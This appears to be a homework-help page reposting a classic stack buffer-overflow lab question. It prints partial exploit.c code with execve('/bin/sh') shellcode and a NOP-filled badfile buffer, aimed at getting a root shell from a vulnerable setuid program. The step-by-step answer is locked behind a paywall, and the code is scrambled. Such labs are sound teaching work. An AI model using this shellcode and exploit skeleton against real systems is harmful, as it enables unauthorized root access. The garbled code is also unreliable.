Question: We provide you with a partially completed exploit code called exploit . c . The goal of this code is to construct contents for badfile

We provide you with a partially completed exploit code called exploit.c. The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest. /* exploit.c *//* A program that creates a file containing code for launching shell*/ #include #include #include char shellcode[]="\x31\xc0""\x50""\x68""//sh""\x68""/bin""\x89\xe3""\x50""\x53""\x89\xe1""\x99""\xb0\x0b""\xcd\x80" ; /* xorl %eax,%eax /* pushl %eax /* pushl $0x68732f2f /* pushl $0x6e69622f /* movl %esp,%ebx /* pushl %eax /* pushl %ebx /* movl /* cdq /* movb /* int void main(int argc, char **argv){ char buffer[517]; FILE *badfile; %esp,%ecx $0x0b,%al $0x80/* Initialize buffer with 0x90(NOP instruction)*/ memset(&buffer, 0x90,517); */*/*/*/*/*/*/*/*/*/*//* You need to fill the buffer with appropriate contents here *//* Save the contents to the file "badfile" */ badfile = fopen("./badfile","w"); fwrite(buffer,517,1, badfile); fclose(badfile); } After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell in the given exploit.c the buffer size is given as 1000 in the main function, you can change it to 517 and follow the exploit scenario given in the above AlephOne's stack smashing link. For example, you can set offset=200 and bsize=517. When insertion in the buffer is complete you may put a NULL code/character in the buffer:
buffer[bsize -1]='\0';
Finally, save the buffer and write it into the bad file by:
badfile = fopen("./badfile","w");
fwrite(buffer,517,1, badfile);
fclose(badfile);

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Programming Questions!